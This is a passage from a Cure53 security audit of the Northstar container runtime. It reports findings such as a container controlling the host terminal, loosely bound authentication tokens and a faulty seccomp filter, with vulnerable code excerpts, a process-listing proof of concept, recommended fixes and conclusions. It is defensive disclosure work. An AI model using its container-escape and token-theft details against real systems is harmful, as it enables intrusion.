As a consequence, the container can take control over the terminal of the host-side where the Northstar binary has been started. Beside writing to the terminal, it can also inject input and cause a break out in a worst-case scenario.

Proof-of-Concept:

To demonstrate the issue, the *hello-world* container was started and the process file descriptor list was inspected on the host-side. On the one hand, Pids *1400*, *1401* and *1402* are the Northstar processes on the host-side; they have */dev/pts/1* as controlling TTY. On the other hand, Pid *1581* is Pid *1* (hence, the *init* process) within the container and inspecting its *stdin/out/err* file descriptors shows that they are */dev/pts/1* too.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
$ ps fax
[...]
   1400 pts/1 Ss     0:00          \_ sudo target/debug/northstar
   1401 pts/1 Sl+    0:00              \_ target/debug/northstar
   1402 pts/1 S+     0:00              \_ target/debug/northstar
   1581 ?     Ss     0:00                  \_ target/debug/northstar
   1582 ?     S      0:00                      \_ /hello-world
[...]

$ readlink /proc/1581/fd/{0,1,2}
/dev/pts/1
/dev/pts/1
/dev/pts/1
```

It is recommended to create a new pseudo TTY master / slave-pair for the console communication with the container. That way, the very same feature can be preserved but the file descriptors are decoupled from the host terminal.

ESR-01-012 WP1: Lax identity binding of *authentication* tokens (*Info*)

While reviewing the design of the *authentication* token API in *northstar-0.6.0*, it was noticed that tokens created by the runtime are not tightly coupled with the sender of the token. More specifically, the verifier of a token cannot determine if the sender is also the creator and owner of this token.

The Northstar runtime supports creating and verifying *authentication* tokens. Each token created by the runtime is constructed from:

- Target container name (supplied by caller)
- Shared data (supplied by caller)
- Creating container name (supplied by runtime)
- Creation time (supplied by runtime)
- Validity duration (supplied by runtime)

For verification, the token itself, in combination with the shared data and the creation of the container name, are handed to the runtime by the verifying container. The target container name here is supplied by the runtime (i.e., it is the calling container's name). Thus, a token is only valid if the caller of the verification call matches the target container's name, as it was used to create the token.

Since the verifier of a token has to rely on the sender of the token to supply the name that was used to create the container token, the sender has full control over this item. As a result, there is only a loose binding of a token to its sender. While a compromised container with access to the *token console* API can create new tokens for exclusive use, it is still possible to obtain other containers' tokens and use them.

As Northstar does put all containers into the (host) network namespace by default, this increases the chances of obtaining another container's token. One example might be the use of the *SO_REUSEPORT* socket option, which would allow a malicious container to listen to the same port as the legitimate container receiving the tokens.

Affected file:
northstar-0.6.0/northstar-runtime/src/runtime/console/mod.rs

Affected code:
```
model::Request::TokenCreate { target, shared } => {
    let user = match peer {
        Peer::Extern(_) => "extern",
        Peer::Container(container) => container.name().as_ref(),
    };
    info!(
        "Creating token for user \"{}\" and target \"{}\" with shared \"{}\"",
        user,
        target,
        hex::encode(&shared)
    );
    let token: Vec<u8> = Token::new(token_validity, user, target, 
shared).into();
    let token = api::model::Token::from(token);
    let response = api::model::Response::Token(token);
    reply_tx.send(response).ok();
}
model::Request::TokenVerify {
    token,
    user,
    shared,
} => {
    // The target is the container name, this connection belongs to.
    let target = match peer {
        Peer::Extern(_) => "extern",
        Peer::Container(container) => container.name().as_ref(),
    };
    info!(
        "Verifiying token for user \"{}\" and target \"{}\" with shared \"{}\"",
        user,
        target,
        hex::encode(&shared)
    );
    // The token has a valid length - verified by serde::deserialize
    let token = Token::from((token_validity, token.as_ref().to_vec()));
    let result = token.verify(user, target, &shared).into();
    let response = api::model::Response::TokenVerification(result);
    reply_tx.send(response).ok();
```

It is recommended to add strict binding of a token to the sender to ensure that only the creator of a token can actually use it for authentication. One solution might be to embed the process identifier or IP address and port used by the sender into the container such that the sender can determine if they are also the owner of a token. For UNIX sockets, *SCM_CREDENTIALS* might be an option to determine the sender's Pid.

ESR-01-013 WP1: Wrong *seccomp* filter for *CAP_NET_ADMIN* (*Medium*)

While auditing the *seccomp* filter code, an observation was made for containers which have the capability[7] *CAP_NET_ADMIN* enabled via the Manifest file. For such containers, the *seccomp* filter will allow additional system calls which should only be allowed for *CAP_SYS_ADMIN.* As most of these system calls still require *CAP_SYS_ADMIN* upon being called, this widens the attack surface. It will also remove some restrictions from system calls. For instance, this applies to *clone,* which would normally be restricted to a specific subset of possible arguments.

Affected file:
northstar-0.6.0/northstar-runtime/src/seccomp/bpf.rs

Affected code:
```
/// Create an AllowList Builder from a pre-defined profile
fn builder_from_profile(profile: &Profile, caps: &HashSet<Capability>) ->
Builder {
    match profile {
        Profile::Default => {
            let mut builder = default::BASE.clone();

            // Allow additional syscalls depending on granted capabilities
            if !caps.is_empty() {
                let mut cap_sys_admin = false;
                for cap in caps {
                    match cap {
                        Capability::CAP_CHOWN => {}
                        [...]
                        Capability::CAP_NET_ADMIN => {
                            cap_sys_admin = true;
                            builder.extend(default::CAP_SYS_ADMIN.clone());
                        }
                        Capability::CAP_NET_RAW => {}
                        Capability::CAP_IPC_LOCK => {}
                        Capability::CAP_IPC_OWNER => {}
                        Capability::CAP_SYS_MODULE => {
                            builder.extend(default::CAP_SYS_MODULE.clone());
                        }
```

[7] https://man7.org/linux/man-pages/man7/capabilities.7.html

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
Capability::CAP_SYS_RAWIO => {
    builder.extend(default::CAP_SYS_RAWIO.clone());
}
Capability::CAP_SYS_CHROOT => {
    builder.extend(default::CAP_SYS_CHROOT.clone());
}
Capability::CAP_SYS_PTRACE => {
    builder.extend(default::CAP_SYS_PTRACE.clone());
}
Capability::CAP_SYS_PACCT => {
    builder.extend(default::CAP_SYS_PACCT.clone());
}
Capability::CAP_SYS_ADMIN => {}
Capability::CAP_SYS_BOOT => {
```

It is recommended to fix this issue and move the respective code from the *CAP_NET_ADMIN* to the *CAP_SYS_ADMIN* case.

***Fix Note**: This issue was discussed during this engagement and a fix was deployed by the Northstar team[8]. The pull request was verified by Cure53 and the issue no longer exists.*

8 https://github.com/esrlabs/northstar/pull/779

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions

Cure53 can conclude that some problems were negatively affecting the security premise of the Northstar Embedded Linux Container Runtime. On the one hand, this August 2022 project translated to a list of fourteen security-relevant issues, two of them *Critical* in terms of implications. On the other hand, all six members of the Cure53 team involved in this assessment were quite impressed by the quick and high-quality fixes that the ESR Labs/ Northstar team offered in response to the spotted discoveries. All in all, it can be argued that there is still some room for improvement, but the team behind Northstar is capable of investing work and efforts towards a robust security of their complex.

Before the engagement started, a kick-off meeting was performed to clarify the goals of the assessment. Furthermore, the customer provided background information about the software subject of this security audit. Cure53 was in constant communication with the customer through a dedicated Slack channel. It must be underscored that the communication was excellent: not only was help provided whenever requested, but the Northstar team was also ready to tackle the findings right away.

The main focus of this engagement was to identify vulnerabilities relating to RCE, LFI, filesystem/storage, RBAC/ACL mechanisms, privilege escalations, information leakages, flaws in the utilized cryptographic signature and mistakes towards the isolation of containers in regard to the host, amongst others.

To reiterate, this security assessment featured two working packages. WP1 encompassed a source code audit of the Northstar runtime, whereas WP2 focused on dynamic testing against a running instance of Northstar. At the preparatory stage, the customer provided the *northstar-0.6.0* repository for review. This repository included not only the source code of the runtime but also several container examples and client libraries. Furthermore, it also featured documents which describe the inner-workings of the Northstar runtime. All this helped Cure53 to quickly understand how the Northstar runtime operates.

The Northstar runtime is written in Rust, which is a language with built-in memory management that can be either safe or unsafe, depending on how it is used. It has proven to be a good choice for programmers who do not want to worry about dangling pointers or use-after-free vulnerabilities. The source code was evaluated as well-organized, and it was straightforward for the testers to familiarize themselves with the codebase. Furthermore, it quickly became evident that the developers were familiar with secure coding practices.

In terms of specific flaws, the assessment revealed six vulnerabilities and eight miscellaneous issues. The vulnerabilities include two *Critical* issues. The most pressing vulnerabilities stem from the improper filesystem isolation of Northstar containers from the host. The remaining vulnerabilities range from argument injections into the *init* processes of containers from the console, to the missing default network isolation of containers.

The miscellaneous issues also contain issues pertaining to the missing isolations of containers to the host, like for instance IPC and *stdin/out/err*. However, they also point to the unprotected global console of the Northstar runtime and a container to host escape via resource binds of mounts.

Analyzing the authentication token API revealed that it used proper cryptographic primitives in a standard manner. The design, however, lacks strict binding of tokens to the token-users. This allows arbitrary containers to use a token created by another container. While this is not always a problem, the auditors believe that this could be improved in the framework of the examined API, specifically by limiting the usability of tokens to the creator.

Additionally, the console permission logic would benefit from a distinction between token creation and token verification. This would prevent containers which only need to verify received tokens from being able to create tokens themselves. As containers need to exchange tokens directly and all containers are in the same (default) network namespace, a malicious container with respective capabilities can intercept and steal such tokens. Especially in this area, the default isolation which the Northstar runtime applies, appears too loose from the testers perspective. Another example where missing network isolation can be a downside is the authentication API.

It must be emphasized that Northstar should be more precise in the documentation with regard to responsibilities, especially since a weak or insecure configured host may jeopardize the stability of the running containers. Furthermore, Cure53 was also identifying several *panic!, assert!, unreachable!, unimplemented!* and *expect* statements, which could result in panic situations. These might bring down the whole runtime and all its containers on a host when triggerable by malicious code e.g. inside a compromised container. It is advisable to circumvent panics whenever possible, and try to gracefully recover from such panic situations.

To conclude, this Cure53 summer 2022 security review achieved good coverage over all working packages, identifying a multitude of security-relevant issues that provide a certain opportunity for hardening measures. Nevertheless, the Northstar Runtime appears in a moderately good state from a security perspective. Even though the number of identified issues in total is not extremely high, the associated severities reveal

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

that more attention should be paid to certain parts of the Northstar Runtime. Cure53 could identify areas which should be revisited with regard to security, particularly in terms of the container-host isolations (file system, network, IPC, IO).

Moving forward, fixing the *Critical* vulnerabilities should have the highest importance. More broadly, the Northstar Runtime would certainly benefit from recurring security assessments, as the complexity of all working packages and components can become challenging to handle and changes within one part of the system may have unintentional security impact to other parts. Furthermore, having recurrent security assessments also helps to increase the awareness of common attack vectors among the developers, resulting in more robust source code. This would not only help the Northstar development team in verifying whether existing vulnerabilities have been mitigated properly, but could also foster a timely review of the newly added source code with regard to the possibly introduced vulnerabilities.

Cure53 would like to thank Felix Obenhuber, Norbert Fabritius and the rest of the involved developers, members of the ESR Labs GmbH team, for their excellent project coordination, support and assistance, both before and during this assignment.